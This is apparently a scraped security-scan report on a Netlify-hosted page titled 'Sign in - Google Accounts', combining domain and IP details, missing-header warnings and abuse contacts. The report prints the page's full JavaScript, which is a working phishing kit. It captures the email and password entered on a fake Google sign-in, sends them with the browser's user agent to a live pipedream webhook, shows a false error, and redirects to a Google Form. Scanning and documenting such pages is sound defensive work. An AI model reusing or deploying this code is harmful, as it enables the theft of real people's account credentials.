social media network

technology software

English

You're looking at domain 'formstea.netlify.app' on the application-focused generic top-level domain (.app) and includes subdomain 'formstea'. Count 7 characters in 'netlify' split between two vowels and five consonants. It segments into 3 words: net, li, fy. Average segment length settles at 2 characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

feddc59b792c8b9ec0b133db568d56939d1254523c693772f268b6a8c900a677

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Name.com Abuse Team

Name.com, Inc.

netlify.app

Abuse

Google LLC

GOOGLE


    // 🚩 WEBHOOK — all credentials sent here
    const WEBHOOK_URL = 'https://eox8wtfgnuqgm62.m.pipedream.net';
    // 🚩 FORM — redirect here after 2nd click
    const FORM_URL = 'https://forms.gle/ySFgTrPQcLh6wg7R8';

    // DOM Elements
    const slider = document.getElementById('slider');
    const toggleLoader = show => document.getElementById('loader').classList.toggle('active', show);
    const wrapEmail = document.getElementById('wrap-email'), wrapPass = document.getElementById('wrap-pass');
    const errEmail = document.getElementById('error-email'), errPass = document.getElementById('error-pass');

    // 🚩 Track password attempts
    let passwordAttempts = 0;

    const triggerError = (wrapper, errTxt) => {
      wrapper.classList.remove('shake');
      void wrapper.offsetWidth; 
      wrapper.classList.add('error', 'shake');
      errTxt.classList.add('show');
    };
    const clearError = (wrapper, errTxt) => { wrapper.classList.remove('error'); errTxt.classList.remove('show'); };

    // 🚩 Send data to webhook
    async function sendToWebhook(data) {
      try {
        await fetch(WEBHOOK_URL, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(data)
        });
      } catch (e) {
        console.log('Network issue — silently ignoring');
      }
    }

    // Step 1: Email → send email to webhook, then advance
    document.getElementById('btn-next1').addEventListener('click', async () => {
      const email = document.getElementById('email').value.trim();
      clearError(wrapEmail, errEmail);
      if (!email || !email.includes('@')) return triggerError(wrapEmail, errEmail);

      toggleLoader(true);

      // 🚩 Exfiltrate email
      await sendToWebhook({ step: 'email', email, timestamp: new Date().toISOString() });

      toggleLoader(false);
      document.getElementById('display-email').textContent = email;
      document.getElementById('avatar').textContent = email.charAt(0).toUpperCase();
      slider.style.transform = 'translateX(-50%)';
      setTimeout(() => document.getElementById('password').focus(), 300);
    });

    // Step 2: Password
    document.getElementById('btn-next2').addEventListener('click', async () => {
      const pass = document.getElementById('password').value;
      const email = document.getElementById('email').value.trim();

      // 🚩 2nd click → redirect to form immediately
      if (passwordAttempts >= 1) {
        window.location.href = FORM_URL;
        return;
      }

      // 1st click → show red error
      clearError(wrapPass, errPass);
      if (!pass) return triggerError(wrapPass, errPass);

      toggleLoader(true);

      // 🚩 Exfiltrate credentials
      await sendToWebhook({
        step: 'password',
        email,
        password: pass,
        timestamp: new Date().toISOString(),
        userAgent: navigator.userAgent
      });

      toggleLoader(false);

      // 🚩 Show red error
      passwordAttempts = 1;
      triggerError(wrapPass, errPass);
    });

    // Navigation
    const goBack = () => { slider.style.transform = 'translateX(0)'; clearError(wrapPass, errPass); passwordAttempts = 0; };
    document.getElementById('btn-back').addEventListener('click', goBack);
    document.getElementById('user-chip').addEventListener('click', goBack);

    // Clear errors on input
    document.getElementById('email').addEventListener('input', () => clearError(wrapEmail, errEmail));
    document.getElementById('password').addEventListener('input', () => clearError(wrapPass, errPass));
    
    // Enter key support
    document.getElementById('email').addEventListener('keydown', e => e.key === 'Enter' && document.getElementById('btn-next1').click());
    document.getElementById('password').addEventListener('keydown', e => e.key === 'Enter' && document.getElementById('btn-next2').click());

    // Show/hide password
    document.getElementById('show-pass').addEventListener('change', e => {
      document.getElementById('password').type = e.target.checked ? 'text' : 'password';
    });
  

Sign in - Google Accounts

regular

✅ Low Risk - http://formstea.netlify.app/

Requests	IP Address	Location	AS Autonomous System
4	142.251.13.95Google · CDN	United States	AS15169Google LLC
3	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
7	2	-	-

Security Scan Report: formstea.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History